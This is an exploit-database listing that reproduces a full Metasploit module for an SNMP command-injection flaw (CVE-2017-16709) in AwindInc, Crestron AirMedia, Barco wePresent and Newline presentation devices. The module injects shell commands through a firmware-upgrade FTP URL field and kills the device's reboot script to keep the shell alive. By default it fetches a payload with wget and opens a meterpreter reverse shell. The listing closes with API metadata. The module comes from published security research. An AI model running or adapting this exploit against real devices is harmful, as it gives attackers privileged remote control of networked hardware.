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"AwindInc SNMP Service - Command Injection (Metasploit)"

Author

Metasploit

Platform

linux

Release date

2019-09-05

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AwindInc SNMP Service Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
        A valid SNMP read-write community is required to exploit this vulnerability.

        The following devices are known to be affected by this issue:

          * Crestron Airmedia AM-100 <= version 1.5.0.4
          * Crestron Airmedia AM-101 <= version 2.5.0.12
          * Awind WiPG-1600w <= version 2.0.1.8
          * Awind WiPG-2000d <= version 2.1.6.2
          * Barco wePresent 2000 <= version 2.1.5.7
          * Newline Trucast 2 <= version 2.1.0.5
          * Newline Trucast 3 <= version 2.1.3.7
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Quentin Kaiser <kaiserquentin[at]gmail.com>'
        ],
      'References'     =>
        [
          ['CVE', '2017-16709'],
          ['URL', 'https://github.com/QKaiser/awind-research'],
          ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
        ],
      'DisclosureDate' => '2019-03-27',
      'Platform'       => ['unix', 'linux'],
      'Arch'           => [ARCH_CMD, ARCH_ARMLE],
      'Privileged'     => true,
      'Targets'        => [
        ['Unix In-Memory',
          'Platform'    => 'unix',
          'Arch'        => ARCH_CMD,
          'Type'        => :unix_memory,
          'Payload'     => {
            'Compat'    => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
          }
        ],
        ['Linux Dropper',
          'Platform'    => 'linux',
          'Arch'        => ARCH_ARMLE,
          'CmdStagerFlavor' => %w[wget],
          'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 1,
      'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))

    register_options(
      [
        OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
      ])
  end


  def check
    begin
      connect_snmp
      sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
      print_status("Target system is #{sys_description}")
      # AM-100 and AM-101 considered EOL, no fix so no need to check version.
      model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
      case model
      when 'AM-100', 'AM-101'
          return CheckCode::Vulnerable
      else
          # TODO: insert description check for other vulnerable models (that I don't have)
          # In the meantime, we return 'safe'.
          return CheckCode::Safe
      end
    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
    ensure
      disconnect_snmp
    end
    Exploit::CheckCode::Unknown
  end

  def inject_payload(cmd)
    begin
      connect_snmp
      varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
      resp = snmp.set(varbind)
      if resp.error_status == :noError
        print_status("Injection successful")
      else
        print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
      end
    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
    ensure
      disconnect_snmp
    end
  end

  def trigger
    begin
      connect_snmp
      varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
      resp = snmp.set(varbind)
      if resp.error_status == :noError
        print_status("Trigger successful")
      else
        print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
      end
    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
    ensure
      disconnect_snmp
    end
  end

  def exploit
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, opts = {})
    # The payload must start with a valid FTP URI otherwise the injection point is not reached
    cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"

    # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
    # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
    # keep our reverse shell opened :)
    cmd << "$(pkill -f /etc/reboot.sh)"

    # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
    cmd << "A" * (255-cmd.length)

    # we inject our payload in camFWUpgradeFTPURL
    print_status("Injecting payload")
    inject_payload(cmd)

    # we trigger the firmware download via FTP, which will end up calling this
    # "/bin/getRemoteURL.sh %s %s %s %d"
    print_status("Triggering call")
    trigger
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47353/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47353/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47353/41712/awindinc-snmp-service-command-injection-metasploit/download/", "exploit_id": "47353", "exploit_description": "\"AwindInc SNMP Service - Command Injection (Metasploit)\"", "exploit_date": "2019-09-05", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                    

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